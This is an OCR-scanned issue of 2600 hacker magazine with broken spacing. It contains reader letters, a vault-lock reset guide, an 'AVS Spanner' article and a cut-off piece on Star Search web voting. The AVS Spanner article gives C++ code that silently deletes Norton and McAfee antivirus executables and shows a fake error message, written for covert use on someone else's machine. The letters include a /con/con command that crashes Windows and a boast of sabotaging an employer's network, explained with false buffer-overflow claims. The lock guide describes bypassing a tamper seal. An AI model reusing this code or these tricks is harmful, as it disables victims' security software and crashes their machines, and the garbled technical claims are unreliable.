tered 2600 out of cur ios i ty and 10 and behold . . .  War and 
Peace . Cool . Somewhat i rre levant ,  but coo l .  

Dufu 

Dear 2600: 
Every t ime I walk  into a cha in  bookstore in a mal l or 

(rare l y )  a main street,  and see a copy of 2600, my pu l se 
qu ickens .  I can't  he lp  but  look around and see if anyone i s  
watch ing a n d  I feel l i ke saying t o  everyone i n  t h e  store : 
" Do you see that? I sn ' t  that incred ib le?"  

I fi rst l earned about  260() fi ve or s i x  years back when 
I was try ing  to l earn about  how locks  work , but I guess 
I 've a lways been a proto-hacker. Do you remember that 

scene in  Three Days ()l the Condor where Redford taps a 
phone? I saw that when I was s i x  and was completely ob­
sessed . 

My problem is that I ' m  not much of a tcch ie  by abi l i ty 
and temperament .  I love read ing 260() and fi nd a l l  the ar­
t ic les i nterest ing,  although I can't  u nderstand more than 
5- 1 0  percent of the technica l  information . So I 'm a l i tt le  
more interested i n  art ic les  on soc ia l  engineering .  Fol l ow­
ing from this ,  I have two suggest ion s .  F i rst ,  maybe you 
could have a ded icated socia l  engineering column every 
issue or a mu l t i -part series .  Second ,  you could make a 
subject index so that one could search for a l l  art ic les  on 
th i s  or other top ics . 

An example of the k i nd of art ic le  I ' m  tal k ing  about : 
the m i l i tary tra ins  i ts  h u man in te l l igence co l lectors to use 
standard interrogation approaches . Essent i a l l y  they are 
programs that say: g i ven a subject who has information 
that may have value but  who doesn ' t  want to commun i ­
cate i t ,  wha t  i s  t he  fastest and  mos t  effi c ient way  to probe 
the subject's defenses, select methods to defeat them , col­
l ect the informat ion once they have been defeated , make 
sense of the informat ion , and pass it  along? I 'm interested 
i f  anyone has ident i tied analogous problems and devised 
standard approaches to deal wi th  the m .  

Than k s .  Keep chal lenging people t o  t h i n k .  
Anon 

Social engineering as a method (�r torture ? How in­
tril(uilll( .  But our military prohahly perrected it declIdes 
ago . 

Dear 2600: 
So I got my fi rst i ssue of 2600 about a week ago . As I 

was read ing the story " Decod ing B lockbuster" by S D M X  
on page 43 (2 1 : 3 ) ,  I c o u l d  n o t  h e l p  b u t  stumble upon a se­
cret message hidden i n  the art i c le .  That's right , a secret 
message . On the bottom left of page 43 above the " Write 
for 2600 " box and be low the text " . . .  quick cut  and 
paste . . .  ", I read the text "there is noth ing i n  th i s  box " 
pri nted in smal l ,  l ight gray letters . I i m med iate ly began to 
wonder. What box? Why is there noth ing in th i s  box 
which I am unable to locate? Perhaps somehody forgot to 
p lace the necessary contents  in  the box '! 

Seeing as I am rather unfami l i ar wi th  the part icu lar 
detai l s  of your publ ication , I rea l i ze that I may be sadly  
m i staken . Perhaps th i s  i s  someth ing tha t  you h ide i n  
every i s s u e  or a s i m p l e  ( y e t  strange) m i stake on t h e  part 
of the pub l i shers . On the other hand , could it tru l y  be a se­
cret  message and I may have won a prize (new CPU 
maybe) '! In e i ther case, I cou ldn ' t  help but write you th i s  
letter. 

Shelicode 
It's quite a bit ofa waste to spend this much time talk­

ing about nothing inside a box that doesn 't exist. 

Dear 2600: 
I ' m  not exact ly pos i t i ve on what other computers th i s  

hack  works on , but  i t ' s  a coo l  th ing to play around wi th .  
A l l  i t  does i s  completely crash your  computer. To do th i s  
s imp ly  go to "Run"  and type  i n  "/con/con " .  H i t  en ter  and 
then watch as your sad , suck ass computer dies (crashes) 
from typing Icon/con . I would l i ke to say that i f  th i s  hap­
pens to your computer your computer sucks .  I would sug­
gest gett ing a new computer that does not crash when it 
s imply  tries to find a file cal led Icon/con .  

William 

This is actually quite old. Any permutation of certain 
DOS device names in the format "device'vievice " will 
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crash a lot of Windows machines . You can also have fun 
with other device names like I Inul II , I tclock$ II , and "aux " . 
There are patches that fix this incidentally. 

Dear 2600: 

I am employed by a market research firm in New 
York Ci ty .  M y  job consists of doing market research in­
terv iews v ia  telephone and entering the data on a terminal  
of a Novel l  Netware network . I would l i ke to share wi th  
you an experience I had wi th  a remote buffer overflow 
back on the Nove l l  Netware network using a DOS com­
mand . B uffer overflows occur when programs do not ad­
equatel y  check input  for appropriate length . Thu s ,  any 
unexpected i nput "overflows"  onto another portion of the 
CPU execution stac k .  B uffer overflows can be roughly 
segregated into two c lasses: remote and local . Local  over­
flows require console access to explo i t  and are typica l ly  
only avai lable to i nteractive ly  logged-on users . Remote 
buffer overflows are much more dangerous; these can be 
explo i ted wi th  zero pri v i l ege on the target system from 
any node on the network . Exploi tation of a remote buffer 
overflow w i l l  typical l y  detonate a " payload" - the code 
forced i n to the CPU's  execution p ipe l i n e .  I did the hack 
by exp lo i t ing an i nherent flaw in the Nove l l  Netware ar­
ch i tecture that can be explo i ted remotel y  to gain access .  
Wh i l e  the network sys tem adm i n i strator and m y  cowork­
ers were not looking ,  I sat down at an unused terminal  on 
the network . The termi nal was i n  the defau l t  sett ing s ince 
the system adm i n i strator had not loaded a job for us  to 
work on . The defau l t  sett ing i s  the C> prompt .  At the C> 
prompt,  I typed i n  the DOS command DEBUG.  A t  the 
DEBUG prompt,  which i s  a hyphe n ,  I typed the DEBUG 
swi tch r .  The r swi tch loads the memory stacks and stack 
return addresses i nto the CPU's memory buffer. These ad­
dresses were the payload which forced the overflow of 
the CPU's  execution p ipe l i ne .  As  long as the payload was 
in etrect , the system adm i n i strator could not load any pro­
grams i nto the network for us to work on. Best of a l l ,  ne i ­
ther my boss nor the system adm i n i strator could figure 
out who did the hack or why.  Noth ing beats h acking and 
gett ing off scot- free ! 

Brain Waste 

Well , we /lOW know who hut we still dO/l 't know why. 

Dear 2600: 

eBay fraud has been a grow ing  concern i n  the news 
and I would guess that a majority of the peopl e  who read 
2600 have been invol ved with eBay in some way, e i ther 
buying or se l l i ng .  Most people th ink  that i t  w i l l  not hap­
pen to them but  i t  i s  very l i ke ly that you or someone you 
know w i l l  lose money to auction fraud . You do not have 
to be stupid to be scammed by an on l ine  auct ion .  

eBay i s  the l argest on l ine  auction s i te w i th over  85 

percent of the market and over $ 1 0  b i l l ion i n  sales each 
year. They c l a im  that fraud isn't  a big deal and only .0 I 
percent of their  $ 1 0  b i l l ion in sales accounts for fraud , but  
th i s  i s  a l l  that eBay i tse lf  has actua l ly  confi rmed . The 
FTC reported 80 ,000 complaints of fraud i n  2003 with  an 
average loss of $320 per item . When an eBay user reports 
fraud , one of three th ings bappens :  eBay deletes the ac­
count , eBay suspends the account ,  or they do noth ing .  

eBay has  taken a few steps to m i n i m ize fraud on their  
website but  I bel ieve that  they haven' t  done enough . eBay 
created Square Trade Center, which brings the buyer and 
seller together to d i spute a prob lem.  But unless the se l ler  
responds the buyer i s  screwed . Recent ly eBay and Pay Pal  

have both taken steps to g ive a sense of security to their  
users w ith buyer protect ion . On e B ay buyer protection 
covers up to $200 , minus a $25 deduct ib le but only to 
users with good feedback .  On Pay Pal the new program 
covers a buyer up to $ 1 000 but only protects those who 

buy from a verified Pay Pal se l ler. 
Us ing  government agencies is a choice we have but 

they would be s low, cost ly,  and i neffic ient  s ince tracking 
deadbeat se l lers outs ide of the U.S .  would be next  to im­
poss ib le .  There i s  a company ca l l ed  buySAFE, which  

covers up to $ 1 0 ,000 but they have yet to reimburse any 
buyers . The problem wi th  buySAFE i s  that  they on ly  

cover sel lers if they  se l l  over  $ 1 000 a month  and have a 

1 00 feedback rat ing on eBay.  These are not l i ke ly  to be 

the same people  that are creating  fraudulent auctions on 
eBay. I bel ieve that the next  step i s  for eBay or an out­
sider to create an escrow service that does not charge $22 

per i tem . I f  someone came up with a p lan for an escrow 

service that charges less than $10 per item, I bel ieve the 
amount of people who would use such a service wou ld  in­
crease great ly .  

Everyone i s  at r isk of fraud on eBay and even though 
there i s  no way to stop fraud there are ways to m i n i mi ze 

i t .  I bel ieve that eBay is not doing enough to m i n im ize 
th i s  problem but someone needs to step in before the gov­
ernment .  With the he lp  of the r ight computer savvy ind i ­

v idua ls  I bel ieve th i s  auction fraud problem cou l d  be  

m i n i m ized . 

Chris C .  

Visibility 

Dear 2600: 

Jus t  thought you guys m ight  l ike to know about 
Tower Records i n  Dub l in  and 2600 . They d isp lay i t  on i t s  
own shelf (qu i te proudly too)  above al l other magazines 

for a l l  to see . They don't h i de them on the back shelf be­

h i nd all the ta l ler  magazines l i ke the shops I ' ve  seen i n  
P h i l l y ,  N e w  York , a n d  Bosto n .  

A l s o ,  from read ing y o u r  back issues I ' v e  noticed i n  

t h e  letters section that s o m e  peopl e  h a v e  become para­
noid when their  purchase won't  scan at the store they're 
buying it i n .  Th is  is s imp ly  because there is a break in the 

barcode at the botto m .  I f  i t  doesn ' t  run i n  a straight l ine 
l i ke most other barcodes , i t  may cause some difficulty and 
the code might have to be punched i n  manua l ly .  

So rest easy my paranoid friends , i t ' s  not The Man . 

Keep up the good work fel l as !  

niknak 

Galway, IE 

Actually there is  reason to he concerned. There are 

certain chains that have tried to implement a "shrink " 

policy which basically penalizes the magazine puhlishers 

�f copies (�l their issues leave the store without beinf,: 

logged in the cash registers. This is designed to fight 

slwplifiing hut it seems really unftlir to hold the puhlish ­
ers accountahle fi" this . More importantly, it opens the 

door to all kinds or abuses . If there was a prohlem with 

the scanners or {{ .''I'lJlneolll' inside the store obscured the 

barcode or simply entered if incorrect!.v. the unaccounted 

.Ii" issues would he treated as ir they were shoplified and 

the puhlisher would he expected to pay. So far we' I 'e heen 

ahle to fight this polin when it shows up . It 's a disturhing 

trend, however. 
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Dear 2600: 
J ust wanted to know why 2600 i s  not available i n  

Canada anymore ?  [ used to b u y  i t  a t  Chapters . 
chris 

It certainly should be a vailable there as well as in a 
number of other stores throughout Canada . We 'll look 
into this . 

Dear 2600: 
I've been buying your magazine s ince 2000 in Puerto 

Rico at B orders . For a year now, I 've  been having prob­
lems finding your magazine s ince I ' ve seen they put i t  in a 
way that can't be seen from the customers on the shelves .  
But  at least  I 've  been able to fi nd i t .  For the last three 
months I've not been able to find your magazine at a l l .  [s 
there a reason for that? Is Borders sti l l  carrying your mag­
azine? 

Ruth 
It 's a little unsettling that we 're getting more letters 

like this in recent months .  We 're not aware of any changes 
in the various chains that carry us but we 'l/ keep an eye 
on this . There's no question that there are many who 
would like to keep us off the shelves . Our readers and 
their attentiveness are the best defense we could hope for. 

Dear 2600: 
Like many, I have to say thanks for publ ish ing such a 

great magazine.  I read a lot in the letters , however, of 
bookstore hassles when try ing  to purchase your mag. I 'd  
just  l i ke to say I 've worked for both b ig compan ies for 
around seven years combined and have always made sure 
2600 was available on the shelf. These stores want to 
make money. Hiding a h igh-se l l ing product isn ' t  in the ir  
interest. Granted ,  I 've noticed customers trying to cover 
the d isplay, but I can say even that's a rarity at the stores 
I've worked at . I anxiously await the next issue myself 
and have met many fel low readers who seem surprised at 
first that I either know of the magazine or aren't  out to 
"get them" or record the ir  purchas ing habi ts . Common in­
terest i s  a great start towards friendsh ip .  I thought i t  
would b e  nice for your readers t o  know there are l ike­
m i nded people working for these companies .  Keep up the 
great work . 

bookdrone 
Thanksfor looking outfor us .  

Additional Info 

Dear 2600: 
Regarding the Consumer Spookware v s .  Your Castle 

art ic le i n  2 1  :2, there is another way i nto a house the au­
thor didn't mention . Some houses have mail slots. I work 
for the postal serv ice,  so I ' ve  seen many different types .  
The  only  mai l  slots that  wou ld  al low access to the  inside 
of a house would be located only a couple of feet high and 
about two inches tal l by one foot wide. They're usual ly  lo­
cated on or near the front door or on the garage door. 
Sometimes they can be difficul t  to spot if  they're painted 
the same color as the house . D i sclaimer: Do not tamper 
with U . S .  mail  receptacles that are not on your house or 
business .  

Jon 

Dear 2600: 
Re letters in 2 1 :2 regarding destroying CDs - there 

are easier way s .  
I .  S ixty seconds on a g a s  stove wi th h i g h  fl a m e  - first 

the plastic bubbles , then the d isc warps ,  then the foi l  layer 
(if i t  ex ists) crink les .  You're now halfway done . Wai t  for 

M i n t e r  2 0 0 11 - 2 0 0 5  

as long as i t  took to get th is  far. You want black smoke 
(don't breathe i t )  and you want the whole disc to fold up 
in to a l i ttle bal l .  An electric stove works as wel l but takes 
longer to warm up and you have to scrape the goo off the 
burner afterwards .  

2 .  Break i t  i n to five or s i x  pieces then  drop them in  a 
blender or tabletop coffee m i l l . Convert to gra in-of-sand 
s ize or smal ler. (Takes patience and i s  godawful noisy, 
but most any urban dweller who doesn't  own tools  proba­
bly has one of these appl i ances . )  

3 .  Hold the d i sc with p l iers and push the whole th ing 
i nto a belt sander or a sanding disc i n  an electr ic dri l l ,  or 
something s i m i lar (a  Sk i l saw works too though i s  rather 
less safe) agai n ,  unt i l the entire disc is powder. 

4. Probably easiest - us ing a big heavy implement ( I  
u s e  a carving kn ife ) ,  scrape a l l  the shiny foi l  stuff off the 
top . Once that's off, the plastic w i l l  have a rainbow sort of 
appearance.  Keep scraping (put your back i n to it) unt i l  a l l  
the rainbow stuff (and about a third of the plast ic) i s  i n  l i t­
t le powdery bi ts .  Break the remainder into smal l  pieces .  

5 .  Sandpaper works i f  you  use  20 to 60 gri t ,  not  real ly 
fine stuff. Again ,  keep at i t  unti l a good amount of plastic 
(not just  the foi l )  i s  gone from both top and bottom.  Then 
break what's left in to pieces .  

And don' t  forget to w i pe the  hard d isk  of the  com­
puter you burned the CD on i n  the (irst place. (Th is  is 
much harder than destroying CD's - the only completely 
effect ive way i s  to d i smantle the hard d isk , then sand the 
magnetic material off the platters . The m i l i tary uses 
something that shreds the entire h ard d i s k ,  but most of us 
don't own anything that' l l  do the job .) 

brarsh 
Good suggestions, although it 's probably not the best 

of ideas to grind CDs up in anything that could be used 
for jiJOd preparation at a later time .  

Dear 2600: 
In regards to Lori 's  letter i n  2 1 : 3 ,  i t  appears 1 -800-

506-3553 was used not too long ago to g ive away free 
bottles of Clorox . Obviously a vast b leach conspiracy i s  
afoot . I n  a l l  seriousness , e ither that  number c hanged 
hands fast ,  or there 's  a secret s ide to our household clean­
ers we never knew about before. 

Redukt 

Dear 2600: 
SDMX's art ic le  regarding B lockbuster in 2 1 : 3 in­

c luded the " emergency" barcode for opening the regis­
ters . At  one t ime,  use of th is  barcode contacted local 
police and , though i t  no longer does i n  my area,  some d is ­
tricts are sti l l  cons idering the idea .  Also ,  B lockbuster as a 
company has decided there w i l l  be no more "Guaranteed 
in  Stock"  renta ls ,  and so the coupon trick won't work any­
more . Don't fret ,  i t 's  always possible to use publ ic ly-ac­
cessible i nformation in the most creative of way s !  

B BVGoon 2 1 26 

Dear 2600: 
[n  l ight of your B arcode articles , which I found very 

informat ive ,  I'd l i ke to bring to l ight that Wal-Mart has re­
cently cracked down on two couples that have cheated 
Wal-Mart out of 1 .5 m i l l ion .  So soon after your art icles 
one can only th ink that your magazine had something to 
do with helping them real ize exactly what was going o n .  

CrapinapaIe 
It's entirely possible but we would hope that their de­

tective work is a little better than that. 

Continued on Page 48 
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Hacking LaGard 
ComboGard Locks 

by AxOn 
The LaGard ComboGard series of d ig i ta l  

combi nat ion locks (Model 33E) i s  a mainstay 
of the vau l t  lock industry. It was designed to be 
a drop- i n ,  h i gh-tech repl acement  for the old 
d ia l -type combinat ion locks for safes and 
vau l t s .  

The  actual  lock mechan i s m  has t he  same 
d i mens ions  as most run-of-the-m i l l  Group I or 
Group 2 combinat ion  lock s .  The sp indle that 
connects the keypad to the lock mechani s m  (to 
retract the bol t  of the lock) i s  i n  the same l oca­
t ion as the sp ind le  that connects the dial to the 
lock mechan i s m  on o ld  combinat ion locks ,  and 
the keypad w i l l  mount  us ing s i m i l ar mount ing 
hardware and at the same locat ion  as an old 
comb inat ion  loc k .  

Qu i te l i teral ly ,  you can u s e  a ComboGard 
lock to rep lace an ag ing  mechanical  lock on an 
otherwi se  good vau l t .  Safe and vau l t  manufac­
turers can also buy these locks and i nstal l  them 
from the factory. You can find  one of these i n  
use a t  many restaurant s ,  stores ,  and bus inesse s .  
They 're n o t  a l l  that expens ive ,  so t h e i r  w ide­
spread popul ar i ty is no mystery. 

Are they more secure? Arguably,  yes. A 
typical mechanical  lock has about 27 m i ll ion  
poss i b i l i t i es , whereas a s ix  d ig i t  combinat ion 
lock such as the Com boGard has a mere 
1 ,000 ,000 poss i b i l i t ies . B ut mechan ical  locks 
have other weaknesse s .  Many of them can be 
man ipu lated and l i stened to . D ig ital  locks can­
not be eas i l y  m an ipu lated . D ig i tal locks can 
a lso enforce a lock-out pol icy much l ike net­
worked syste m s ,  w here no further combina­
t ions  can be tr ied un t i l  a penal ty t ime has 
exp i red . This l i m it s  attacks  to three tr ies per 
pcnal ty period , with a five m i nu te penalty. 
Only 36 combinat ions  can be tr ied per hour. At 
th i s  pace , i t  would take years to go through 
every poss ib le  combinat ion . 

Lock Parts 
The lock 's  ma in  e lectron ics  board is housed 

i n s i de the lock assembly ,  wh ich  is secured 
with in the vau l t  i tself .  There ' s  a s i ng le  n i ne 
vo l t  battery that powers the whole th ing  which  
can l as t  for years if  i t ' s  opened da i ly .  I t ' s  con-
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ta ined w i th i n  a smal l p last ic box and con­
nected to the lock assembly through a propri­
e tary connector. The keypad has an ident ica l  
connector, and they're easy to confuse ,  and 
they wil l  plug in to the wrong port s .  The key­
pad i s  a c i rcu i t  board with a membrane touch 
pad , an LED , and speaker, covered with rubber 
keys and housed in a metal case with a plast ic  
beze l . I n  the event that  the owner fai l s  to act on 
the lock's low-battery warnings ,  t here are ter­
m i na ls  located on the keypad so that an e mer­
gency battery can be attached to operate the 
lock temporar i ly .  The lock case and keypad are 
connected v i a  a square-shaped brass spindle 
wh ich  can be cut  to the proper length to ac­
commodate d ifferen t  th icknesses of vau l t  
doors . The keypad e lectron ics  connects back to 
the lock case with standard- i ssue two-pair 
phone cab le ,  with the same proprietary con­
nector on  the end . When you enter the correct 
combi n at ion , the keypad i s  allowed to rotate 
counterclockwise ,  retract ing the lock bol t .  
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p lace whose dumpster I ' ve  be� 
fi nd ing  them i n  and they i nformed 
me that I needed to ca l l  some 
company in Kansas , as they ser­
v i ce all of the i r  ComboGard 
locks . They were of l i t t le  ass i s­
tance . After a b i t  of  socia l  eng i ­
neeri ng  and a ca l l  back to LaGard , 

Fig. 2: LG33E· 1  Circuitry, Close-up of jumper holes, 

I had a fax in my grubby l i t t le  
hands that out l i ned i n  great deta i l  
exact ly how to reset these gems . 
I ' ve  s ince lost  the actual fax ,  but 
the process rema ins  engrained in 
m y  head . Whether i t ' s  exact ly the 
same as the fax I rece i ved , I can ' t  
remember, but  I do know that i t  

There are n umerous other features that are 
programmab le ,  e i ther w ith a specia l  tool that 
service personne l  have or via the keypad for 
owners . The on l i ne manual  at LaGard 's  web­
s i te  has al l  of th i s  i nformat ion . 

What if you forget  the combinat ion ') A s  far 
as I know, there i s  no master combinat ion . 
You ' re lert to do what a l ocksmi th would do to 
a mechanical  lock that can ' t  be opened:  dri l l  i t .  
U n less  dri lled i n  a very preci se l ocation , the 
lock w i l l  never open . On  some rev i s ions  of the  
case , there i s  a raised c i rcu lar area tha t  des ig­
n ates the opti mal  spot  to dri l l .  

For some reason , a loca l  p lace h a s  been d i s ­
card ing these  lock s ,  and I 've  managed to fi n d  a 
few i n  a dumpster. Some h ave been opened up 
and n o  longer have  the factory w arranty.  Some 
of them have had thei r  sp indles  cut  and have 
been i nstal l ed and u n i n sta l led . One th ing  holds 
true though . None of them have the defau l t  
combinat ion ( 1 -2-3-4-5-6) and none of them 
have been reset by a 
techn ic ian ( i n  wh ich  
case  the  combo wou ld  
be 5-5-5-5-5 -5 ) ,  Lately ,  
I ' ve  been see ing  several 
of them turn up

�
on  e B ay 

and other auct ion s ites , 
some se l l i ng for $50 or 
less . Th i s  i s  detl n i te ly a 
bargain .  

work s !  I t  a lso voids the warranty, 
s i nce i t  i n vo l ves hreak ing  the tamper-re s i stant 
seal tape ( h i n t :  a razor b lade and a hair dryer 
does wonders) . 

On wi th  resetti ng  the lock . I ' ve i n c l uded 
some photos to he lp  w i th the process . 

I )  Remove the keypad and battery from the 
lock case . 

2) Cut  or otherwise remove the tamper seal 
tape . Th i s  is the only thing that holds the back 
p late onto the lock case . 

3 )  Remove the back plate of the lock . 
4) Locate the reset jumper ho le s .  There ' s  a 

central D IPP Ie . If you hold the lock w i th the 
bo l t  fac i n g  away from you , the jumper holes  
are d i rect ly to the left of that Ie.  They're l arger 
holes than the res t ,  and they have exposed t i n ­
n i ng around the m . They're about  a quarter 
apart . See Figure I and Figure 2 . 

5 )  P l ace a j umper w i re into the two 
jumper holes . 

I cal led LaGard and 
asked them i f  they knew 
how to reset a lock . 
They informed me that I 
needed to ca l l  the peo­
ple I bought the lock 
fro m . Wel L  s ince J 
found i t  by dumpster 
d i v i ng ,  that was  out  of 
the quest ion . I ca l l ed the Fig, 3: Complete LG33E-l  k i t  with extra battery case (no manual 
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6) Attach the keypad . It goes into the port 
c losest to the corner of the case . 

7) With the jumper wire sti l l  attached , con­
nect the battery. 

8) With in  five seconds , press the " 5 "  key on 
the keypad . 

9) Wait 60 seconds , then di sconnect the bat­
tery and remove the jumper wire .  

Test the lock w ith the combination " 5-5-5-
5-5-5 " .  I f  i t  doesn't work , start over again .  

Timing i s  critical , and the jumper wire must be 

secure and connected for the duration of the 

procedure . 

Changing the combination : 0-0-0-0-0-0 , 

Old combination , New combination . 

AVS Spanner 
by Suicidal 

This  article is a fol low up on "A  S imple B ut 
Effective Spanner In Your AVS "  by I rving 
Washington in  the 2 1 :  I i s sue . 

When I read this artic le , it amazed me that 
the code monkeys at these various software 
companies cou ld have overlooked such a s im­
p le attack . . .  deleting the core fi les that thei r  
products need to  run . So I began to  p lay with i t  
myself and sure enough , renames and deletes 
are easi l y  done in  real time w ithout the need to 
shut down the software . 

As Irv ing put i t ,  "This is obviously not 
good ! "  

The main point to this art icle i s  a rewrite of 
the source code but this time in C++ . Why the 
rewrite? For a few reasons .  Let me state that 
there was nothing "wrong" w ith Irving 's  code . 
I rewrote the code in C++ for a few reasons .  

First off, C i s  eas i ly compi led o n  a l inux 
box without needing lots of extra programs 
and IDE's  to do i t .  Whi le this code may have a 
few problems on l inux ( I  don't have a l i nux 
box to  check it right now) , i t  i s  eas i ly  fi xed . ( If  
you are trying on l inux and it wi l l  not  compi le ,  
change [cstdiol to  [std io .h ]  and that may fix i t . )  

Second , if you are trying to get in and get 
out quickly, meaning you are doing this in per­
son and at the actual machine,  then you want 
extremely streaml ined code that w i l l  execute 

quickly. The code I have attached is stream­
l ined and wi l l  execute ungodly fast .  One major 
thing that makes i t  faster i s  that i t  does not 
check to see if the fi le is there or not . If  i t  i s ,  it 
w i l l  delete i t .  If  i t  i sn ' t ,  i t  continues on . I did 
not add any error messages or codes to the 
code either for speed and covertness .  

The  rest of  the reasons I have already for­
gotten unless it was something along the l i nes 
of less bulky code or the hacker ethic  of taking 
something and making it better or more per­
sonal ized . Shrug . Maybe I just haven't seen my 
name in print in  awhi le  and figured I could ride 
Irving's coattai l  into fame and shame . 

I did add the same l ine on the end to prompt 
the user that a driver file was not found and 
that the appl ication fai led . I f  you are doing this 
yourself, then you can l eave that l ine out of the 
code . You can also remove the "#include 
[ iostreaml " and "us ing namespace std ; "  l i nes 
as well as they are only there to support the one 
l ine of text output at the end . 

You can also eas i ly  see where the fi les 
s lated for deletion are . You can add your own , 
as many as you would l ike .  Just make sure you 
get the path correct and use / for the path and 
not \. 

So there you have it .  Irv ing,  I did take the 
ten seconds to appreciate it. Nice work . 

/ / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *  

#inc lude < c s tciio> 

# i n c lude < i o s t r e am> 

u s i n g  name s p a c e  s t d ; 

i n t  m a i n ( )  

{ 

remove ( " c : / P rogram F i l e s / Navnt / a l e r t s vc . exe " ) i  

remove ( " c : / P rogram F i l e s / Navnt / B ackLog . exe " ) i  

remove ( " c : / P rogram F i l e s /Navn t / BootWarn . exe " ) i  

remove ( " c : / P rogram F i l e s /Navn t / D e fAlert . exe " ) ;  
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remove ( " c :  / P rogram F i l e s / Navnt / n 3 2 sc anw . exe " ) ; 

remove ( " c :  /Program F i l e s /Navn t / navapsvc . exe " ) ; 

remove ( " c :  / P rogram F i l e s /Navn t / navapw 3 2  . exe " ) ;  

remove ( " c : / P rogram F i l e s /Navn t / NavUStub . exe " ) i  

remove ( " c : / P rogram F i l e s /Navn t / n avwnt . exe " ) i  

remove ( " c :  / P rogram F i l e s / Navnt / N P S C hec k . exe " ) ; 

remove ( " c : / P rogram F i l e s / Navnt / np s svc . exe " ) ;  

remove ( " c : / P rogram F i l e s /Navn t / N S P l u g i n . exe " ) i  

remove ( " c : / P rogram F i l e s / Navnt / N t a s kMgr . exe " ) i  

remove ( " c : / Program F i l e s /Navn t / nvlaunch . exe " ) i  

remove ( " c : /Prograrn F i l e s /Navn t / POProxy . exe " ) i  

remove ( " c : / P ro g r am F i l e s / Navnt / q c o n s o l e . exe " ) i  

remove ( " c : / P rogram F i l e s / Navnt / S c nH n d l r . exe " ) i  

remove ( " c : / P rograrn F i l e s / Symantec / L iveUpdate / ndetect . exe " ) ;  

remove ( " c : / P rogram F i l e s / Symantec / L iveUpdate / aupdate . exe " ) ;  

remove ( " c :  / Program F i l e s / Symantec / L iveUpdate / l u a l l . exe " ) ; 

remove ( " c : / P rogram F i le s / Symantec / L iveUpdat e / LuComS erver . e xe " ) i  

remove ( " c : / P rogram F i l e s /McA f e e / McAfee I nternet Secur i ty / gd 3 2 . exe " ) ;  

remove ( " c : / P rogram F i l e s /McA f e e / McAfee I nternet S e c u r i t y / gd l aunch . exe " ) ;  

remove ( " c : / Program F i l e s /McA f e e / McAfee I nternet S e c u r i t y / gdcrypt . exe " ) ;  

remove ( " c : / P rograrn F i l e s /McAf e e / McAfee I nternet S e c u r i t y / GuardDog . exe " ) i  

remove ( " c : / P rogram F i l e s /McA f e e / McAfee I nternet S e c ur i t y / I V i ew . exe " ) :  

remove ( " c : / P rogram F i l e s /McA f e e / McAfee F i rewa l l / c pd . exe " ) ;  

remove ( " c : / P ro g r am F i l e s /McAfee /McAfee Shared Component s / V i s u a ITrace /NeoTrac e . exe " ) i  

remove ( " c : / P rogram F i l e s /McA f e e / McAfee Shared Componen t s / S h redde r / s hred 3 2 . exe " ) ;  

remove ( " c : / Program F i l e s /McA f e e / McAfee Shared Compone nt s / Qu i c kC l e a n  L i t e / Q C l e an . exe " ) ;  

remove ( " c : / P rogram F i l e s /McAfee /McAfee Shared Component s / I n s t a n t  Updat e r / RuLaunc h . exe " ) i  

remove ( " c : /Program F i l e s /McA f e e / McAfee Shared Compone n t s /Guard i a n / CMGrd i a n . exe " ) ;  

remove ( " c : /Program F i l e s /McAfee /McAfee Shared Compon e n t s /Guard i a n / s c hedwi z . exe " ) i  

remove ( " c : / P rograrn F i l e s /McA f e e / McAfee Shared Component s / C e n t r a l / CLaunch . exe " ) j  

remove ( " c : / P r o g r am F i l e s /McAf e e / McAfee I nternet S e c u r i t y / " ) j  

cout « " Could not find dev / n u l l / dr ive r s . d l l .  App l i c a t i o n  f a i led to start . "  « endl ; 

return O J  

/ / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *  

Hovv to 

Star Search 
By StankDawg 

StankDawg@stankdawg.com 

I watch my share of telev i sion . I watch a lot 
of sports and a few specific shows that I fol low 

regularly, but that is about it. One thing that I 
do , l ike most Americans ,  is channel-hop . I 

jump through the channels  at l ight speed as 

though there was someth ing on another chan­

ne l  that I was miss ing .  Sometimes you find 
some interesting shows thi s  way. Sometimes 

you find some garbage . Well , I happened to 

find a l ittle bit  of both in  the form of a show 

cal led Star Search . 

Now if you are not fami l iar with this pro­
gram, let me give a quick overview and some 
background . First of al l ,  I was surpri sed to see 
that this show was even on the air again .  I re­
member Star Search from when I was a k id 
and Ed McMahon was the host  sometime back 
in the 1 980s . Apparently i t  has been rev ived , 
but this t ime it 's hosted by Arsenio Hal l .  It i s  
sti l l  a talent show with judges choosing who 
stays and who goes ,  and it i s  sti l l  a big prime 
time name . 

But that i s  not the i nteresting part . The rea­
son that I stopped was because I heard the 
phrase " home audience vote . "  My ears perked 
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up.  What do we have here? I can vote from CBS warning them that they had a potent ia l ly 
home? How can this be? What method have serious security hole in  thei r  system . 
they establ i shed to al low people to vote from I waited a few days for some sort of re­
home? These questions made me put down my sponse from them . I gave my real emai l  ad­
remote contro l . I have yet to see any k ind of dress and told them that I would be glad to 
voting system that wasn't fundamental ly explain the deta i l s  to thei r  security officer or 
flawed . I wanted to see if they had d iscovered webmaster. I got noth ing .  OK ,  I thought ,  
the ho ly  grai l .  As i t  turns  out , they had not . maybe they don' t  want to  contact me or  don't 

It seems that I stumbled onto the season fi- have the t ime to contact me . I wi l l  be nice and 
nale of the th ird season . Apparently during the send them the code and show the potent ial  
regular season there are judges who vote for problem . I looked a l l  over the CBS web s i te 
the winners . I n  the season finale ,  the home au- and tried to find an email address for a security 
dience votes for the winners . So I figured out officer or someone directly related with Star 
that after the contestants s ing or dance or jug- Search . I found nothing (go look yourself) .  So 
gle monkeys while b l indfolded ( I  don' t  know I guessed and sent email s  to every potent ia l ly 
what they do, I just wanted to see how the vot- monitored address " @cbs .com" that I could  
i ng  worked) the show would go  into commer- th ink of including: security, web master, root , 
c ial break . During this commercia l  break , the cbs , shows ,  and starsearch .  I got nothing in  re­
v iewers at home would go to the " interweb" sponse except for bounce messages .  Long 
and go to http ://www.cbs .com/primetime/ story short: I tried unsuccessful ly on seven d if­
-stacsearch41 where they would see a l i st of ferent occasions over the course of s ix  months 
the contestants to vote for. to report this problem . The last notice I sent to 

Now here are the logi stics of i t :  First of a l l , them was that I was going to rel ease it to the 
i f  you go to the s i te and try to vote before the pub l ic . I tried to do the right thing and notify 
performers are fin i shed , you get a message them,  but they didn't seem to care . Hopefu l ly ,  
saying that you have to  wa i t  un t i l  the  contes- they w i l l  see i t  and fix it this t ime . Maybe they 
tants are all fin i shed before you can vote . I have a fai l safe in p lace on the server s ide that 
